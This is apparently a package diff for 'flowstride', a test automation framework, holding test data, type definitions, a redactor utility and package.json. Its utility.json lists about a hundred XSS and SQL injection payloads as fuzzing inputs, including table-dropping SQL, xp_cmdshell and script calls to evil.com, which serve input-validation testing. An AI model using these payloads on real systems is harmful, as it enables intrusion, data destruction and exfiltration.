flowstride 1.0.0

package/dist/test_data/phone_data.json

@@ -0,0 +1,27 @@
+{
+    "NG": {
+        "code": "+234",
+        "length": 10,
+        "prefix": "0"
+    },
+    "US": {
+        "code": "+1",
+        "length": 10,
+        "prefix": ""
+    },
+    "GB": {
+        "code": "+44",
+        "length": 10,
+        "prefix": "0"
+    },
+    "CA": {
+        "code": "+1",
+        "length": 10,
+        "prefix": ""
+    },
+    "DE": {
+        "code": "+49",
+        "length": 11,
+        "prefix": "0"
+    }
+}

package/dist/test_data/utility.json

@@ -0,0 +1,246 @@
+{
+    "maliciousStrings": [
+        "<script>alert('xss')</script>",
+        "\"><script>alert(1)</script>",
+        "<img src=x onerror=alert(1)>",
+        "<svg onload=alert(1)>",
+        "' OR '1'='1",
+        "\" OR \"1\"=\"1",
+        "'; DROP TABLE users; --",
+        "admin' --",
+        "' UNION SELECT NULL --",
+        "<iframe src='javascript:alert(1)'></iframe>",
+        "<body onload=alert(1)>",
+        "<details open ontoggle=alert(1)>",
+        "<a href='javascript:alert(1)'>click</a>",
+        "' OR 1=1 --",
+        "' OR 'a'='a",
+        "'; EXEC xp_cmdshell('dir'); --",
+        "<math><mi//xlink:href='data:x,<script>alert(1)</script>'>",
+        "<video><source onerror='alert(1)'>",
+        "<input autofocus onfocus=alert(1)>",
+        "<marquee onstart=alert(1)>",
+        "' UNION SELECT username,password FROM users --",
+        "' AND 1=0 UNION ALL SELECT NULL,NULL,NULL --",
+        "<script>confirm('xss')</script>",
+        "<script>prompt('xss')</script>",
+        "<object data='javascript:alert(1)'></object>",
+        "<embed src='javascript:alert(1)'>",
+        "<link rel='stylesheet' href='javascript:alert(1)'>",
+        "' OR sleep(5)--",
+        "' WAITFOR DELAY '0:0:5'--",
+        "<div onclick=alert(1)>test</div>",
+        "<style>@import 'javascript:alert(1)';</style>",
+        "'; SHUTDOWN; --",
+        "<script src='http://evil.com/x.js'></script>",
+        "javascript:alert(document.cookie)",
+        "<img src='x' onerror='alert(document.domain)'>",
+        "' OR EXISTS(SELECT * FROM users)--",
+        "' OR ''='",
+        "' OR true--",
+        "<textarea autofocus onfocus=alert(1)>",
+        "<select autofocus onfocus=alert(1)>",
+        "<keygen autofocus onfocus=alert(1)>",
+        "'; INSERT INTO users VALUES('hacker'); --",
+        "'; UPDATE users SET role='admin'; --",
+        "' OR 1=1#",
+        "\" OR 1=1#",
+        "' OR 'x'='x'#",
+        "<script>alert(String.fromCharCode(88,83,83))</script>",
+        "<img src=1 href=1 onerror='javascript:alert(1)'></img>",
+        "<audio src onerror=alert(1)>",
+        "<base href='javascript:alert(1);//'>",
+        "' UNION ALL SELECT NULL,NULL,NULL,NULL --",
+        "' HAVING 1=1 --",
+        "' GROUP BY columnnames having 1=1 --",
+        "<script>window.location='http://evil.com'</script>",
+        "<meta http-equiv='refresh' content='0;url=javascript:alert(1)'>",
+        "<xml onreadystatechange=alert(1)>",
+        "' OR benchmark(1000000,MD5(1))#",
+        "<script>fetch('http://evil.com')</script>",
+        "<isindex action='javascript:alert(1)'>",
+        "<form action='javascript:alert(1)'><input type='submit'></form>",
+        "' OR 1=1 LIMIT 1 --",
+        "' OR username LIKE '%admin%' --",
+        "'; TRUNCATE TABLE accounts; --",
+        "<img src='invalid' onerror='confirm(1)'>",
+        "<svg><script>alert(1)</script></svg>",
+        "<script>document.body.innerHTML='hacked'</script>",
+        "'; DELETE FROM logs; --",
+        "' OR email IS NOT NULL --",
+        "<b onmouseover=alert(1)>hover</b>",
+        "<span onmouseenter=alert(1)>move</span>",
+        "<script>eval('alert(1)')</script>",
+        "<script>setTimeout('alert(1)',1000)</script>",
+        "' UNION SELECT version(),user() --",
+        "' OR ascii(substring(username,1,1))>64 --",
+        "<img src='x:x' onerror='alert(1)'>",
+        "<svg><animate onbegin=alert(1) attributeName=x dur=1s>",
+        "<script>location.href='javascript:alert(1)'</script>",
+        "<script>new Image().src='http://evil.com'</script>",
+        "' OR 1=1/*",
+        "admin') OR ('1'='1",
+        "' OR ''=''; --",
+        "<script>top.location='http://evil.com'</script>",
+        "<img src=# onerror=alert(1)>",
+        "<svg/onload=alert(1)>",
+        "' OR 1 IN (SELECT 1)--",
+        "<script>alert`xss`</script>",
+        "<script>Function('alert(1)')()</script>",
+        "<iframe srcdoc='<script>alert(1)</script>'></iframe>",
+        "<script>document.write('<img src=x onerror=alert(1)>')</script>",
+        "' OR 1=CONVERT(int,(SELECT @@version))--",
+        "<img src='data:image/svg+xml,<svg onload=alert(1)>'>",
+        "<script>history.pushState({},'', '/evil')</script>",
+        "'; CREATE TABLE hacked(id int); --",
+        "<script>localStorage.setItem('x','1')</script>",
+        "<script>sessionStorage.setItem('x','1')</script>",
+        "<script>while(true){}</script>",
+        "' OR substring(password,1,1)='a' --",
+        "<script>alert(window.origin)</script>",
+        "<img src='x' onerror='fetch(`http://evil.com`)'>",
+        "<script>navigator.sendBeacon('http://evil.com')</script>",
+        "' OR 1=1; --",
+        "<script>alert('stress-test')</script>"
+    ],
+    "invalidEmails": [
+        "plainaddress",
+        "@missingusername.com",
+        "username@",
+        "username",
+        "username@.com",
+        "username@com",
+        "user..name@example.com",
+        "user.@example.com",
+        ".user@example.com",
+        "user@example",
+        "user@example..com",
+        "user@-example.com",
+        "user@example-.com",
+        "user@exam_ple.com",
+        "user@example.c",
+        "user@.example.com",
+        "user@@example.com",
+        "user example@example.com",
+        "user@example .com",
+        "user@ example.com",
+        "user@#$.com",
+        "user<>@example.com",
+        "\"user@example.com",
+        "user\"@example.com",
+        "user@exa mple.com",
+        "user@example,com",
+        "user@example/com",
+        "user@example;com",
+        "user@example:com",
+        "user@example..co.uk",
+        "user@.co.uk",
+        "user@localhost",
+        "user@111.222.333.44444",
+        "user@example..",
+        "user@.invalid.com",
+        "user@invalid..com",
+        "user@invalid_com",
+        "user@invalid#domain.com",
+        "user@invalid!.com",
+        "user@domain..org",
+        "user@domain@.corporateeeee",
+        "user@-domain.org",
+        "user@domain-.org",
+        "user@domain..co",
+        "user@domain,com",
+        "userdomain.com",
+        "user@",
+        "@domain.com",
+        "user.@domain.com",
+        ".user@domain.com",
+        "user..user@domain.com",
+        "user@domain..domain.com",
+        "user@domain.",
+        "user@.domain",
+        "user@domain#mail.com",
+        "user@do main.com",
+        "user name@domain.com",
+        "user\t@domain.com",
+        "user\n@domain.com",
+        "user@domain\n.com",
+        "user@[300.300.300.300]",
+        "user@[127.0.0.1",
+        "user@127.0.0.1]",
+        "user@[IPv6:12345]",
+        "user@domain..",
+        "user@domain.c",
+        "user@domain.toolongtlddddd",
+        "us er@domain.com",
+        "user@do_main.com",
+        "user@domain..info",
+        "user@domain..biz",
+        "user.@.domain.com",
+        "\"\"@domain.com",
+        "user\"name@domain.com",
+        "user@domain@domain.com",
+        "user@domain",
+        "user@domain.c_m",
+        "user@domain..travel",
+        "user@-domain-.com",
+        "user@domain-.co.uk",
+        "user@.domain.co.uk",
+        "user@domain#domain.com",
+        "user#domain.com",
+        "user@domain..museum",
+        "user..123@domain.com",
+        "user@sub..domain.com",
+        "user@domain..gov",
+        "user@domain..edu",
+        "user@domain..net",
+        "user@domain,co.uk",
+        "user@domain/co.uk",
+        "user@domain:co.uk",
+        "user@domain;co.uk",
+        "user@domain co.uk",
+        "user@domain\t.com",
+        " user@domain.com",
+        "user@domain.com ",
+        "user.@domain.co",
+        ".user@domain.co",
+        "user@domain..ai",
+        "user@.ai",
+        "user@domain..app",
+        "user@domain..dev"
+    ],
+    "overflowStrings": [
+        "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
+        "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB",
+        "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC"
+    ],
+    "specialChars": [
+        "😀😁😂🤣😃😄",
+        "🔥💀⚡🚀✨",
+        "こんにちは世界",
+        "مرحبا بالعالم",
+        "שלום עולם",
+        "नमस्ते दुनिया",
+        "你好世界",
+        "안녕하세요 세계",
+        "Привет мир",
+        "𝔘𝔫𝔦𝔠𝔬𝔡𝔢",
+        "¯\\_(ツ)_/¯",
+        "(╯°□°）╯︵ ┻━┻",
+        "❤★✈♞☯☢",
+        "\u202Eevil.txt",
+        "\u200FRTL-Test",
+        "‎invisible-char",
+        "line\nbreak",
+        "tab\tcharacter",
+        "carriage\rreturn",
+        "emoji👍test",
+        "🏳️‍🌈🏴‍☠️",
+        "₦€¥£₹",
+        "<>[]{}()",
+        "!@#$%^&*()_+",
+        "`~|\\\\//=?:;\"'",
+        "¿¡§¶•ªº",
+        "½¼¾∞≈≠≤≥",
+        "🧪⚠️stress-test"
+    ]
+}

package/dist/types/index.d.ts

@@ -0,0 +1,104 @@
+export interface FlowstrideConfig {
+    baseUrl?: string;
+    timeout: number;
+    headless: boolean;
+    defaultDialogBehavior?: 'accept' | 'dismiss';
+    urlMapPath?: string;
+    network?: {
+        include?: string[];
+        exclude?: string[];
+        backgroundPatterns?: string[];
+    };
+    security?: {
+        sensitiveKeys?: string[];
+    };
+    pluginsDir?: string;
+}
+export interface SessionData {
+    name: string;
+    tokens: Record<string, any>;
+    cookies?: any[];
+    localStorage?: Record<string, string>;
+    createdAt: number;
+    lastUsedAt: number;
+    persist: boolean;
+}
+export interface SessionDefinition {
+    name: string;
+    acquire: () => Promise<Record<string, any>>;
+    inject?: {
+        api?: {
+            headerName: string;
+            template: string;
+        };
+        ui?: {
+            localStorage?: Record<string, string>;
+            cookies?: Array<{
+                name: string;
+                value: string;
+                domain: string;
+            }>;
+        };
+    };
+    refresh?: {
+        onStatus: number[];
+        action: (oldTokens: any) => Promise<Record<string, any>>;
+    };
+}
+export interface FlowstrideSDK {
+    api: {
+        get: (url: string, headers?: Record<string, string>) => Promise<any>;
+        post: (url: string, body: any, headers?: Record<string, string>) => Promise<any>;
+        put: (url: string, body: any, headers?: Record<string, string>) => Promise<any>;
+        delete: (url: string, headers?: Record<string, string>) => Promise<any>;
+    };
+    ui: {
+        click: (selector: string) => Promise<void>;
+        type: (selector: string, text: string) => Promise<void>;
+        isVisible: (selector: string) => Promise<boolean>;
+        getText: (selector: string) => Promise<string>;
+    };
+    state: {
+        get: (key: string) => any;
+        set: (key: string, value: any) => void;
+    };
+    env: {
+        get: (key: string) => string | undefined;
+    };
+    db: {
+        connect: (connectionString: string) => any;
+    };
+    otp: {
+        generate: (secret: string) => string;
+    };
+    log: (message: string) => void;
+    expect: {
+        visible: (selector: string) => Promise<boolean>;
+        equals: (actual: any, expected: any, message?: string) => void;
+        contains: (actual: string | any[], expected: any, message?: string) => void;
+    };
+    utils: {
+        sleep: (ms: number) => Promise<void>;
+        generateId: (length?: number) => string;
+    };
+}
+export type PluginAction = (flow: FlowstrideSDK, data: any) => Promise<any>;
+export interface StepResult {
+    id: string;
+    screen: string;
+    action: string;
+    expected: string;
+    actual: string;
+    status: 'PASS' | 'FAIL' | 'ERROR' | 'SKIPPED' | 'NOT TESTED';
+}
+export interface Scenario {
+    name: string;
+    steps: any[];
+}
+export interface ScenarioResult {
+    name: string;
+    status: 'PASS' | 'FAIL' | 'ERROR' | 'SKIPPED' | 'NOT TESTED';
+    duration: number;
+    error?: string;
+    steps: StepResult[];
+}

package/dist/types/index.js

@@ -0,0 +1,2 @@
+"use strict";
+Object.defineProperty(exports, "__esModule", { value: true });

package/dist/utils/redactor.d.ts

@@ -0,0 +1,5 @@
+export declare class Redactor {
+    private static readonly DEFAULT_SENSITIVE_KEYS;
+    static redact(data: any, customKeys?: string[]): any;
+    static redactUrl(url: string): string;
+}

package/dist/utils/redactor.js

@@ -0,0 +1,53 @@
+"use strict";
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.Redactor = void 0;
+class Redactor {
+    static DEFAULT_SENSITIVE_KEYS = [
+        "password",
+        "token",
+        "accessToken",
+        "refreshToken",
+        "secret",
+        "authorization",
+        "bearer",
+        "cvv",
+        "pin",
+    ];
+    static redact(data, customKeys = []) {
+        if (!data || typeof data !== "object") {
+            return data;
+        }
+        const sensitiveKeys = new Set([
+            ...this.DEFAULT_SENSITIVE_KEYS,
+            ...customKeys,
+        ]);
+        if (Array.isArray(data)) {
+            return data.map((item) => this.redact(item, customKeys));
+        }
+        const redactedObject = {};
+        for (const [key, value] of Object.entries(data)) {
+            const isSensitive = Array.from(sensitiveKeys).some((sKey) => key.toLowerCase().includes(sKey.toLowerCase()));
+            if (isSensitive && value !== null && value !== undefined) {
+                redactedObject[key] = "***REDACTED***";
+            }
+            else if (typeof value === "object" && value !== null) {
+                redactedObject[key] = this.redact(value, customKeys);
+            }
+            else {
+                redactedObject[key] = value;
+            }
+        }
+        return redactedObject;
+    }
+    static redactUrl(url) {
+        try {
+            const urlObj = new URL(url);
+            urlObj.search = "";
+            return urlObj.toString();
+        }
+        catch {
+            return url;
+        }
+    }
+}
+exports.Redactor = Redactor;

package/package.json

@@ -0,0 +1,54 @@
+{
+  "name": "flowstride",
+  "version": "1.0.0",
+  "description": "An opensource flowfirst test automation framework",
+  "workspaces": [
+    "packages/*"
+  ],
+  "main": "dist/index.js",
+  "types": "dist/index.d.ts",
+  "files": [
+    "dist"
+  ],
+  "bin": {
+    "flowstride": "dist/cli/index.js"
+  },
+  "scripts": {
+    "build": "tsc",
+    "flowstride": "node ./dist/cli/index.js",
+    "test": "echo 'Test script to be configured'",
+    "prepublishOnly": "npm run build"
+  },
+  "keywords": [
+    "automation",
+    "testing",
+    "qa",
+    "flowstride"
+  ],
+  "author": "Samuel Okolo",
+  "license": "MIT",
+  "engines": {
+    "node": ">=18.0.0"
+  },
+  "dependencies": {
+    "chalk": "^4.1.2",
+    "commander": "^11.0.0",
+    "dotenv": "^17.4.2",
+    "open": "^11.0.0",
+    "ora": "^5.4.1",
+    "playwright": "^1.59.1",
+    "playwright-extra": "^4.3.6",
+    "puppeteer-extra-plugin-stealth": "^2.11.2",
+    "ts-node": "^10.9.2",
+    "undici": "^7.25.0",
+    "ws": "^8.20.1"
+  },
+  "devDependencies": {
+    "@types/node": "^25.9.1",
+    "@types/ws": "^8.18.1",
+    "typescript": "^5.9.3"
+  },
+  "optionalDependencies": {
+    "@rolldown/binding-darwin-arm64": "^0.15.1"
+  }
+}